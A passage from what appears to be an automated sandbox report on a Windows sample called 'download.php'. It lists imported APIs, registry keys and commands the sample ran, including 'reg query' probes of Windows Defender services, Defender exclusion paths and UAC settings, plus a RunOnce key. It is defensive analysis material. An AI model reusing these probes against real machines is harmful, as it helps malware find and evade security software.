"SetUnhandledExceptionFilter"; File: "download.php") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "download.php") Found reference to API (Indicator: "FreeResource"; File: "download.php") Found reference to API (Indicator: "GetDriveTypeA"; File: "download.php") Found reference to API (Indicator: "LoadResource"; File: "download.php") Found reference to API (Indicator: "CloseHandle"; File: "download.php") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "download.php") Found reference to API (Indicator: "MessageBoxA"; File: "download.php") Found reference to API (Indicator: "MessageBeep"; File: "download.php") Found reference to API (Indicator: "SetWindowTextA"; File: "download.php") Found reference to API (Indicator: "ShowWindow"; File: "download.php") Found reference to API (Indicator: "CharPrevA"; File: "download.php") Found reference to API (Indicator: "SetWindowLongA"; File: "download.php") Found reference to API (Indicator: "SetForegroundWindow"; File: "download.php") Found reference to API (Indicator: "GetWindowRect"; File: "download.php") Found reference to API (Indicator: "GetWindowLongA"; File: "download.php") Found reference to API (Indicator: "CharUpperA"; File: "download.php") Found reference to API (Indicator: "GetDesktopWindow"; File: "download.php") Found reference to API (Indicator: "EnableWindow"; File: "download.php") Found reference to API (Indicator: "LoadStringA"; File: "download.php") Found reference to API (Indicator: "GetSystemMetrics"; File: "download.php") Found reference to API (Indicator: "SetWindowPos"; File: "download.php") Found reference to API (Indicator: "DispatchMessageA"; File: "download.php") Found reference to API (Indicator: "GetDC"; File: "download.php") Found reference to API (Indicator: "SendMessageA"; File: "download.php") Found reference to API (Indicator: "CharNextA"; File: "download.php") Found reference to API (Indicator: "ExitWindowsEx"; File: "download.php") Found reference to API (Indicator: "ReleaseDC"; File: "download.php") Found reference to API (Indicator: "CallWindowProcA"; File: "download.php") Found reference to API (Indicator: "PeekMessageA"; File: "download.php") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "download.php") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "download.php") Found reference to API (Indicator: "VerQueryValueA"; File: "download.php") Found reference to API (Indicator: "CheckTokenMembership"; File: "download.php") Found reference to API (Indicator: "SeShutdownPrivilege"; File: "download.php") Found reference to API (Indicator: "HeapSetInformation"; File: "download.php") Found reference to API (Indicator: "DecryptFileA"; File: "download.php") Found reference to API (Indicator: "SHBrowseForFolder"; File: "download.php") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "download.php") Found reference to API (Indicator: "CreateDirectoryW"; File: "download.php") Found reference to API (Indicator: "GetStdHandle"; File: "download.php") Found reference to API (Indicator: "LCMapStringW"; File: "download.php") Found reference to API (Indicator: "GetFileAttributesW"; File: "download.php") Found reference to API (Indicator: "GetProcessHeap"; File: "download.php") Found reference to API (Indicator: "GetCPInfo"; File: "download.php") Found reference to API (Indicator: "InitializeCriticalSection"; File: "download.php") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "download.php") Found reference to API (Indicator: "SetThreadExecutionState"; File: "download.php") Found reference to API (Indicator: "GetShortPathNameW"; File: "download.php") Found reference to API (Indicator: "RaiseException"; File: "download.php") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "download.php") Found reference to API (Indicator: "CreateHardLinkW"; File: "download.php") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "download.php") Found reference to API (Indicator: "CreateFileMappingW"; File: "download.php") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "download.php") Found reference to API (Indicator: "FindFirstFileExA"; File: "download.php") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "download.php") Found reference to API (Indicator: "IsValidCodePage"; File: "download.php") Found reference to API (Indicator: "WideCharToMultiByte"; File: "download.php") Found reference to API (Indicator: "FlushFileBuffers"; File: "download.php") Found reference to API (Indicator: "HeapReAlloc"; File: "download.php") Found reference to API (Indicator: "GetLocalTime"; File: "download.php") Found reference to API (Indicator: "GetStringTypeW"; File: "download.php") Found reference to API (Indicator: "RemoveDirectoryW"; File: "download.php") Found reference to API (Indicator: "TlsAlloc"; File: "download.php") Found reference to API (Indicator: "GetModuleHandleExW"; File: "download.php") Found reference to API (Indicator: "HeapSize"; File: "download.php") Found reference to API (Indicator: "DecodePointer"; File: "download.php") Found reference to API (Indicator: "GetCommandLineW"; File: "download.php") Found reference to API (Indicator: "InterlockedDecrement"; File: "download.php") Found reference to API (Indicator: "VirtualProtect"; File: "download.php") Found reference to API (Indicator: "MoveFileW"; File: "download.php") Found reference to API (Indicator: "AllocConsole"; File: "download.php") Found reference to API (Indicator: "SetStdHandle"; File: "download.php") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "download.php") Found reference to API (Indicator: "LeaveCriticalSection"; File: "download.php") Found reference to API (Indicator: "CompareStringW"; File: "download.php") Found reference to API (Indicator: "SetEndOfFile"; File: "download.php") Found reference to API (Indicator: "FreeConsole"; File: "download.php") Found reference to API (Indicator: "GetNumberFormatW"; File: "download.php") Found reference to API (Indicator: "VirtualQuery"; File: "download.php") Found reference to API (Indicator: "DeleteCriticalSection"; File: "download.php") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "download.php") Found reference to API (Indicator: "GetModuleFileNameW"; File: "download.php") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "download.php") Found reference to API (Indicator: "SetFilePointerEx"; File: "download.php") Found reference to API (Indicator: "LoadLibraryW"; File: "download.php") Found reference to API (Indicator: "UnmapViewOfFile"; File: "download.php") Found reference to API (Indicator: "SetFileAttributesW"; File: "download.php") Found reference to API (Indicator: "DeviceIoControl"; File: "download.php") Found reference to API (Indicator: "SystemTimeToFileTime"; File: "download.php") Found reference to API (Indicator: "GetVersionExW"; File: "download.php") Found reference to API (Indicator: "InitializeSListHead"; File: "download.php") Found reference to API (Indicator: "GetConsoleMode"; File: "download.php") Found reference to API (Indicator: "TzSpecificLocalTimeToSystemTime"; File: "download.php") Found reference to API (Indicator: "ReleaseSemaphore"; File: "download.php") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "download.php") Found reference to API (Indicator: "WriteConsoleW"; File: "download.php") Found reference to API (Indicator: "FindResourceW"; File: "download.php") Found reference to API (Indicator: "GetDateFormatW"; File: "download.php") Found reference to API (Indicator: "GetLocaleInfoW"; File: "download.php") Found reference to API (Indicator: "CreateEventW"; File: "download.php") Found reference to API (Indicator: "EncodePointer"; File: "download.php") Found reference to API (Indicator: "TlsFree"; File: "download.php") Found reference to API (Indicator: "MoveFileExW"; File: "download.php") Found reference to API (Indicator: "FormatMessageW"; File: "download.php") Found reference to API (Indicator: "MultiByteToWideChar"; File: "download.php") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "download.php") Found reference to API (Indicator: "HeapAlloc"; File: "download.php") Found reference to API (Indicator: "GetSystemTime"; File: "download.php") Found reference to API (Indicator: "GetTimeFormatW"; File: "download.php") Found reference to API (Indicator: "GetFileType"; File: "download.php") Found reference to API (Indicator: "OpenFileMappingW"; File: "download.php") Found reference to API (Indicator: "TlsSetValue"; File: "download.php") Found reference to API (Indicator: "AttachConsole"; File: "download.php") Found reference to API (Indicator: "SetLastError"; File: "download.php") Found reference to API (Indicator: "GetOEMCP"; File: "download.php") Found reference to API (Indicator: "FindNextFileW"; File: "download.php") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "download.php") Found reference to API (Indicator: "FindFirstFileW"; File: "download.php") Found reference to API (Indicator: "GetCommandLineA"; File: "download.php") Found reference to API (Indicator: "GetConsoleCP"; File: "download.php") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "download.php") Found reference to API (Indicator: "GetLongPathNameW"; File: "download.php") Found reference to API (Indicator: "DeleteFileW"; File: "download.php") Found reference to API (Indicator: "GetACP"; File: "download.php") Found reference to API (Indicator: "RtlUnwind"; File: "download.php") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "download.php") Found reference to API (Indicator: "GetFullPathNameW"; File: "download.php") Found reference to API (Indicator: "MapViewOfFile"; File: "download.php") Found reference to API (Indicator: "TlsGetValue"; File: "download.php") Found reference to API (Indicator: "CreateFileW"; File: "download.php") Found reference to API (Indicator: "LoadLibraryExW"; File: "download.php") Found reference to API (Indicator: "HeapFree"; File: "download.php") Found reference to API (Indicator: "IsDebuggerPresent"; File: "download.php") Found reference to API (Indicator: "SetThreadPriority"; File: "download.php") Found reference to API (Indicator: "FoldStringW"; File: "download.php") Found reference to API (Indicator: "GetTempPathW"; File: "download.php") Found reference to API (Indicator: "FileTimeToLocalFileTime"; File: "download.php") Found reference to API (Indicator: "EnterCriticalSection"; File: "download.php") Found reference to API (Indicator: "SysAllocString"; File: "download.php") Found reference to API (Indicator: "VariantClear"; File: "download.php") Found reference to API (Indicator: "SysFreeString"; File: "download.php") Found reference to API (Indicator: "lstrcpy"; File: "download.php") Found reference to API (Indicator: "GetFileSecurityW"; File: "download.php") Found reference to API (Indicator: "SetFileSecurityW"; File: "download.php") Found reference to API (Indicator: "RegOpenKeyExW"; File: "download.php") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "download.php") Found reference to API (Indicator: "RegQueryValueExW"; File: "download.php") Found reference to API (Indicator: "CompareFileTime"; File: "download.php") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; File: "download.php") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "download.php") Found reference to API (Indicator: "GlobalMemoryStatus"; File: "download.php") Found reference to API (Indicator: "GetFileSize"; File: "download.php") Found reference to API (Indicator: "OpenEventW"; File: "download.php") Found reference to API (Indicator: "ResumeThread"; File: "download.php") Found reference to API (Indicator: "VirtualFree"; File: "download.php") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "download.php") Found reference to API (Indicator: "FileTimeToDosDateTime"; File: "download.php") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "download.php") Found reference to API (Indicator: "GetLogicalDriveStringsW"; File: "download.php") Found reference to API (Indicator: "SetConsoleMode"; File: "download.php") Found reference to API (Indicator: "SetProcessAffinityMask"; File: "download.php") Found reference to API (Indicator: "GetProcessTimes"; File: "download.php") Found reference to API (Indicator: "SetThreadAffinityMask"; File: "download.php") Found reference to API (Indicator: "InterlockedIncrement"; File: "download.php") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "download.php") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "download.php") Found reference to API (Indicator: "VirtualAlloc"; File: "download.php") Found reference to API (Indicator: "GetModuleHandleA"; File: "download.php") Found reference to API (Indicator: "SetFileApisToOEM"; File: "download.php") Found reference to API (Indicator: "VariantCopy"; File: "download.php") Found reference to API (Indicator: "SysAllocStringLen"; File: "download.php") Found reference to API (Indicator: "SysStringLen"; File: "download.php") Found reference to API (Indicator: "CharPrevExA"; File: "download.php") Found reference to API (Indicator: "CharUpperW"; File: "download.php") Found reference to API (Indicator: "CreateRestrictedToken"; File: "download.php") Found reference to API (Indicator: "DuplicateTokenEx"; File: "download.php") Found reference to API (Indicator: "OpenServiceW"; File: "download.php") Found reference to API (Indicator: "AddAccessAllowedAce"; File: "download.php") Found reference to API (Indicator: "QueryServiceStatusEx"; File: "download.php") Found reference to API (Indicator: "AddAce"; File: "download.php") Found reference to API (Indicator: "GetLengthSid"; File: "download.php") Found reference to API (Indicator: "SetThreadToken"; File: "download.php") Found reference to API (Indicator: "CloseServiceHandle"; File: "download.php") Found reference to API (Indicator: "CreateProcessAsUserW"; File: "download.php") Found reference to API (Indicator: "OpenSCManagerW"; File: "download.php") Found reference to API (Indicator: "StartServiceW"; File: "download.php") Found reference to API (Indicator: "IsWellKnownSid"; File: "download.php") Found reference to API (Indicator: "SetTokenInformation"; File: "download.php") Found reference to API (Indicator: "GetAce"; File: "download.php") Found reference to API (Indicator: "InitializeAcl"; File: "download.php") Found reference to API (Indicator: "GetOpenFileNameW"; File: "download.php") Found reference to API (Indicator: "DeleteDC"; File: "download.php") Found reference to API (Indicator: "SetThreadUILanguage"; File: "download.php") Found reference to API (Indicator: "RtlCaptureContext"; File: "download.php") Found reference to API (Indicator: "OpenProcess"; File: "download.php") Found reference to API (Indicator: "FlushInstructionCache"; File: "download.php") Found reference to API (Indicator: "SetPriorityClass"; File: "download.php") Found reference to API (Indicator: "InterlockedPushEntrySList"; File: "download.php") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "download.php") Found reference to API (Indicator: "GetThreadUILanguage"; File: "download.php") Found reference to API (Indicator: "FindResourceExW"; File: "download.php") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "download.php") Found reference to API (Indicator: "VerifyVersionInfoW"; File: "download.php") Found reference to API (Indicator: "SleepEx"; File: "download.php") Found reference to API (Indicator: "OutputDebugStringW"; File: "download.php") Found reference to API (Indicator: "InterlockedPopEntrySList"; File: "download.php") Found reference to API (Indicator: "VerSetConditionMask"; File: "download.php") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "download.php") Found reference to API (Indicator: "UnregisterClassW"; File: "download.php") Found reference to API (Indicator: "SetWindowTextW"; File: "download.php") Found reference to API (Indicator: "DrawIconEx"; File: "download.php") Found reference to API (Indicator: "GetClientRect"; File: "download.php") Found reference to API (Indicator: "LoadImageW"; File: "download.php") Found reference to API (Indicator: "DestroyIcon"; File: "download.php") Found reference to API (Indicator: "BeginPaint"; File: "download.php") Found reference to API (Indicator: "LoadIconW"; File: "download.php") Found reference to API (Indicator: "GetWindowTextW"; File: "download.php") Found reference to API (Indicator: "CreateEnvironmentBlock"; File: "download.php") Found reference to API (Indicator: "DestroyEnvironmentBlock"; File: "download.php") Found reference to API (Indicator: "WTSEnumerateProcessesW"; File: "download.php") Found reference to API (Indicator: "WTSFreeMemory"; File: "download.php") Found reference to API (Indicator: "WTSQueryUserToken"; File: "download.php") Found reference to API (Indicator: "WTSEnumerateSessionsW"; File: "download.php") Found reference to API (Indicator: "CoInitializeEx"; File: "download.php") Found reference to API (Indicator: "RegDeleteKeyA"; File: "download.php") Found reference to API (Indicator: "SelectObject"; File: "download.php") Found reference to API (Indicator: "CreateCompatibleDC"; File: "download.php") Found reference to API (Indicator: "BitBlt"; File: "download.php") Found reference to API (Indicator: "CreateFontIndirectA"; File: "download.php") Found reference to API (Indicator: "DeleteObject"; File: "download.php") Found reference to API (Indicator: "GetObjectA"; File: "download.php") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "download.php") Found reference to API (Indicator: "GetStartupInfoA"; File: "download.php") Found reference to API (Indicator: "ReadProcessMemory"; File: "download.php") Found reference to API (Indicator: "CopyFileA"; File: "download.php") Found reference to API (Indicator: "Process32First"; File: "download.php") Found reference to API (Indicator: "SetComputerNameA"; File: "download.php") Found reference to API (Indicator: "SetConsoleTextAttribute"; File: "download.php") Found reference to API (Indicator: "GetEnvironmentVariableA"; File: "download.php") Found reference to API (Indicator: "GlobalSize"; File: "download.php") Found reference to API (Indicator: "OutputDebugStringA"; File: "download.php") Found reference to API (Indicator: "WinExec"; File: "download.php") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "download.php") Found reference to API (Indicator: "Process32Next"; File: "download.php") Found reference to API (Indicator: "GetDateFormatA"; File: "download.php") Found reference to API (Indicator: "GetTimeFormatA"; File: "download.php") Found reference to API (Indicator: "GetFileTime"; File: "download.php") Found reference to API (Indicator: "ShellExecuteA"; File: "download.php") Found reference to API (Indicator: "Shell_NotifyIconA"; File: "download.php") Found reference to API (Indicator: "ShellExecuteExA"; File: "download.php") Found reference to API (Indicator: "SHFileOperationA"; File: "download.php") Found reference to API (Indicator: "EnumWindows"; File: "download.php") Found reference to API (Indicator: "IsWindowVisible"; File: "download.php") Found reference to API (Indicator: "GetWindowTextA"; File: "download.php") Found reference to API (Indicator: "MoveWindow"; File: "download.php") Found reference to API (Indicator: "DefWindowProcA"; File: "download.php") Found reference to API (Indicator: "GetWindowPlacement"; File: "download.php") Found reference to API (Indicator: "CreateWindowExA"; File: "download.php") Found reference to API (Indicator: "GetSysColorBrush"; File: "download.php") Found reference to API (Indicator: "GetForegroundWindow"; File: "download.php") Found reference to API (Indicator: "GetCursorPos"; File: "download.php") Found reference to API (Indicator: "GetParent"; File: "download.php") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "download.php") Found reference to API (Indicator: "SendInput"; File: "download.php") Found reference to API (Indicator: "IsWindowEnabled"; File: "download.php") Found reference to API (Indicator: "EmptyClipboard"; File: "download.php") Found reference to API (Indicator: "TrackPopupMenu"; File: "download.php") Found reference to API (Indicator: "GetClipboardData"; File: "download.php") Found reference to API (Indicator: "GetClassNameA"; File: "download.php") Found reference to API (Indicator: "OpenClipboard"; File: "download.php") Found reference to API (Indicator: "SetCursor"; File: "download.php") Found reference to API (Indicator: "SetClipboardData"; File: "download.php") Found reference to API (Indicator: "SetFocus"; File: "download.php") Found reference to API (Indicator: "CloseClipboard"; File: "download.php") Found reference to API (Indicator: "SetCursorPos"; File: "download.php") Found reference to API (Indicator: "MapWindowPoints"; File: "download.php") Found reference to API (Indicator: "RegisterClipboardFormatA"; File: "download.php") Found reference to API (Indicator: "TranslateMessage"; File: "download.php") Found reference to API (Indicator: "PostMessageA"; File: "download.php") Found reference to API (Indicator: "GetMessageA"; File: "download.php") Found reference to API (Indicator: "FindWindowA"; File: "download.php") Found reference to API (Indicator: "InvalidateRect"; File: "download.php") Found reference to API (Indicator: "LoadCursorA"; File: "download.php") Found reference to API (Indicator: "EnumChildWindows"; File: "download.php") Found reference to API (Indicator: "PostQuitMessage"; File: "download.php") Found reference to API (Indicator: "SetTimer"; File: "download.php") Found reference to API (Indicator: "RegisterClassA"; File: "download.php") Found reference to API (Indicator: "SendMessageTimeoutA"; File: "download.php") Found reference to API (Indicator: "GetActiveWindow"; File: "download.php") Found reference to API (Indicator: "KillTimer"; File: "download.php") Found reference to API (Indicator: "SetWindowPlacement"; File: "download.php") Found reference to API (Indicator: "SystemParametersInfoA"; File: "download.php") Found reference to API (Indicator: "AttachThreadInput"; File: "download.php") Found reference to API (Indicator: "CoTaskMemFree"; File: "download.php") Found reference to API (Indicator: "CoUninitialize"; File: "download.php") Found reference to API (Indicator: "CoInitialize"; File: "download.php") Found reference to API (Indicator: "CoTaskMemAlloc"; File: "download.php") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; File: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; File: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; File: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; File: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; File: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; File: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00002484.00000000.172381.013D1000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00002484.00000000.172381.013D1000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00002484.00000000.172381.013D1000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00002484.00000000.172381.013D1000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "FlushProcessWriteBuffers"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumber"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "WakeConditionVariable"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "InitializeSRWLock"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp")32:T5f4,Found reference to API "MoveFileW" (Indicator: "MoveFile"; File: "download.php") Found reference to API "MoveFileExW" (Indicator: "MoveFile"; File: "download.php") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp")33:Td9e,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: download.php "DSystem\CurrentControlSet\Control\Session Manager" in Source: download.php "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: download.php "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: download.php "System\CurrentControlSet\Control\Session Manager" in Source: 63586-17-0040256D "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 1234-1538-00CFCD60 "reg query "HKU\S-1-5-19"" in Source: 00000000-00005668-00000C46-14688521512 "reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" in Source: 00000000-00005668-00000C46-26851340002 "reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"" in Source: 00000000-00005668-00000C46-40981518886 "reg query "HKLM\System\CurrentControlSet\Services\WinDefend"" in Source: 00000000-00005668-00000C46-69931620060 "reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"" in Source: 00000000-00005668-00000C46-82316304766 "reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"" in Source: 00000000-00005668-00000C46-94369003400 "reg query "HKLM\System\CurrentControlSet\Services\Sense"" in Source: 00000000-00005668-00000C46-106411993588 "reg query "HKLM\System\CurrentControlSet\Services\wscsvc"" in Source: 00000000-00005668-00000C46-118442689038 "reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"" in Source: 00000000-00005668-00000C46-130479461176 "reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"" in Source: 00000000-00005668-00000C46-142519926192 "reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"" in Source: 00000000-00005668-00000C46-154596771750 "reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"" in Source: 00000000-00005668-00000C46-166633269018 "reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"" in Source: 00000000-00005668-00000C46-178670807302 "reg query "HKLM\System\CurrentControlSet\Services\WdBoot"" in Source: 00000000-00005668-00000C46-190708371532 "reg query "HKLM\System\CurrentControlSet\Services\WdFilter"" in Source: 00000000-00005668-00000C46-202782370504 "reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"" in Source: 00000000-00005668-00000C46-214818757342 "reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"" in Source: 00000000-00005668-00000C46-226858421480 "reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"" in Source: 00000000-00005668-00000C46-238897808292 "reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"" in Source: 00000000-00005668-00000C46-250919997604 "reg query HKLM\System\CurrentControlset\Services\WdFilter" in Source: 00000000-00005668-00000C46-251384443600 "reg query "HKLM\Software\Microsoft\Windows Defender"" in Source: 00000000-00005668-00000C46-251425300468 "reg query "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths"" in Source: 00000000-00005668-00000C46-251498520248 "reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"" in Source: 00000000-00005668-00000C46-251731437120 "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00002484.00000000.172381.013D1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00004360.00000000.172778.00CF1000.00000040.mdmp34:T2953,"download.php.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 752f0000 "download.php.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 752f0000 